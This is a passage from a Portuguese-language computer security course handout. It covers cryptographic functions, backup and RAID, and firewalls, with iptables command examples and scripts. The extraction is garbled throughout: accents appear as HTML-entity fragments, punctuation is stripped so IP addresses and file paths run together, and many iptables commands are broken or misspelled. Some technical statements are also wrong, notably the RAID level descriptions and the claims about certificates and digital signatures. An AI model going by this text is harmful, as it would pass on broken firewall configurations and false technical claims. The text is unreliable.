ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash 